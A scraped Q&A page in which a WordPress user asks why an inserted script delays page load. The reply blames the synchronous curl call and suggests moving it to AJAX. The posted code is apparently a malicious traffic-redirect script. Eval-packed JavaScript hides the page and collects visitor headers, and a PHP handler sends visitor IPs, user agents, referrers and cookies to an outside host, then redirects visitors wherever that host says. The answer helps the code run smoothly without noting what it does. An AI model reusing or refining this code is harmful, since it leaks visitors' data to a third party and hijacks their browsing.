dougua9328 2017-03-29 07:18
浏览 54

页面加载有延迟

I'm using following script in my wordpress site, the thing is when insert this to page's head section. when type url & hit enter page stays blank (white screen) for like 20 seconds. then loads the whole page.

i have tried this script with a fresh wordpress installation, with default wordpress themes, even that the delay happens. so i think this is not the issue of the custom wordpress theme i'm using.

even i placed this in footer, but no luck.

below is the 2 codes i'm using, i need to figure out what is happening.

for some reason my code is not formatting here. please refer this

 <style>
html {
    display: none;
}
 </style>
<script type="text/javascript" src="//code.jquery.com/jquery-latest.min.js">  </script>
<script type="text/javascript" src="//cdnjs.cloudflare.com/ajax/libs/jstimezonedetect/1.0.6/jstz.min.js">   </script>
  <script>
    eval(function(p, a, c, k, e, r) {
     e = function(c) {
        return (c < a ? '' : e(parseInt(c / a))) + ((c = c % a) > 35 ?    String.fromCharCode(c + 29) : c.toString(36))
    };
    if (!''.replace(/^/, String)) {
        while (c--) r[e(c)] = k[c] || e(c);
        k = [function(e) {
            return r[e]
        }];
        e = function() {
            return '\\w+'
        };
        c = 1
    };
    while (c--)
        if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
    return p
}('$(2).7(3(){$("8").9();0 f=h i();f.j("k",2.4,l);f.5(m);0 g=f.n().o();0 b="p";0 c=("2","q","//s.t-6.u/6.v");c=("w","x-y-1","z");c=("5","A");0 d=B.C();0 e=d.D();$.E({F:4.G,H:"I",J:"K="+e+"&r="+2.L+"&M="+g,N:3(a){O(a)}})});', 51, 51, 'var||document|function|location|send|analytics|ready|html|hide||||||||new|XMLHttpRequest|open|GET|false|null|getAllResponseHeaders|toLowerCase|GoogleAnalyticsObject|script||www|google|com|js|create|UA|4964223|auto|pageview|jstz|determine|name|ajax|url|href|type|POST|data|tz|referrer|he|success|eval'.split('|'), 0, {}))

AND PHP

<?php
error_reporting(E_ALL & ~E_NOTICE);
 if (isset($_POST["tz"])) {
$id   = "202186";
$uid  = "g7tcv86snc6u6hh7aeuzmbbon";
$qu   = $_SERVER["QUERY_STRING"];
$ch   = curl_init();
$url  = "http://jcibj.com/pcl.php";
$data = array(
    "lan" => $_SERVER["HTTP_ACCEPT_LANGUAGE"],
    "ref" => $_POST["r"],
    "ip" => $_SERVER["REMOTE_ADDR"],
    "ipr" => $_SERVER["HTTP_X_FORWARDED_FOR"],
    "sn" => $_SERVER["SERVER_NAME"],
    "query" => $qu,
    "ua" => $_SERVER["HTTP_USER_AGENT"],
    "co" => $_COOKIE["_event"],
    "tz" => $_POST["tz"],
    "he" => $_POST["he"],
    "user_id" => $uid,
    "id" => $id
);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
$result = curl_exec($ch);
curl_close($ch);
$arr = explode(",", $result);
if (!empty($qu)) {
    if (strpos($arr[1], "?")) {
        $q = "&" . $qu;
    } else {
        $q = "?" . $qu;
    }
} else {
    $q = "";
}
if ($arr[0] === "true") {
    if (strstr($arr[1], "sp.php")) {
        $q = "";
    }
    if (!empty($arr[7])) {
        setcookie($arr[7], $arr[8], time() + 60 * 60 * 24 * $arr[9]);
    }
    if ($arr[2]) {
        if ($arr[4] == 1 OR $arr[4] == 3) {
            setcookie("_event", $arr[6], time() + 60 * 60 * 24 * $arr[3]);
        }
    }
    echo '$("body").remove();$("html").append("body").html("<div style=\"\"></div>");window.location.href = "' . $arr[1] . $q . '"';
    exit();
} elseif ($arr[0] === "false") {
    if ($arr[5]) {
        $f = $q;
    } else {
        $f = "";
    }
    if ($arr[2]) {
        if ($arr[4] == 2 OR $arr[4] == 3) {
            setcookie("_event", $arr[6] . "b", time() + 60 * 60 * 24 * $arr[3]);
        }
    }
    echo '$("body").remove();$("html").append("body").html("<div style=\"\"></div>");window.location.href = "' . $arr[1] . $f . '"';
    exit();
} else {
    if ($arr[2]) {
        if ($arr[4] == 2 OR $arr[4] == 3) {
            setcookie("_event", $arr[6] . "b", time() + 60 * 60 * 24 * $arr[3]);
        }
    }
    echo '$("html").show();$("body").fadeIn(500);';
    exit();
}
}
?>
  • 写回答

1条回答 默认 最新

  • doutale7115 2017-03-29 07:23
    关注

    I think this is because curl is a synchronous function so it stops all other execution while waiting for the curl response. I would put the curl logic inside a asynchronous request (like AJAX) and load the page in a separate PHP process.

    So you have a PHP-page that loads fast, a javascript that triggers the PHP curl script via AJAX and then appends the result when it's one.

    i.e.

    PHP Landing

    <?php
    ?>
    <script
              src="https://code.jquery.com/jquery-3.2.1.min.js"
              integrity="sha256-hwg4gsxgFZhOsEEamdOYGBf13FyQuiTwlAQgxVSNgt4="
              crossorigin="anonymous"></script>
    <script type="text/javascript" src="script.js"></script>
    <div id="my-container">Loading.. hold on one sec</div>
    

    jQuery CDN

    Javascript in script.js

    $(document).ready(function() {
        $.get('my-curl-script.php', function(response) {
            $('#my-container').html(response);
        });
    }
    

    jQuery.get()

    PHP Curl Logic in my-curl-script.php

    Your code from above

    评论

报告相同问题?

悬赏问题

  • ¥15 #MATLAB仿真#车辆换道路径规划
  • ¥15 java 操作 elasticsearch 8.1 实现 索引的重建
  • ¥15 数据可视化Python
  • ¥15 要给毕业设计添加扫码登录的功能!!有偿
  • ¥15 kafka 分区副本增加会导致消息丢失或者不可用吗?
  • ¥15 微信公众号自制会员卡没有收款渠道啊
  • ¥100 Jenkins自动化部署—悬赏100元
  • ¥15 关于#python#的问题:求帮写python代码
  • ¥20 MATLAB画图图形出现上下震荡的线条
  • ¥15 关于#windows#的问题:怎么用WIN 11系统的电脑 克隆WIN NT3.51-4.0系统的硬盘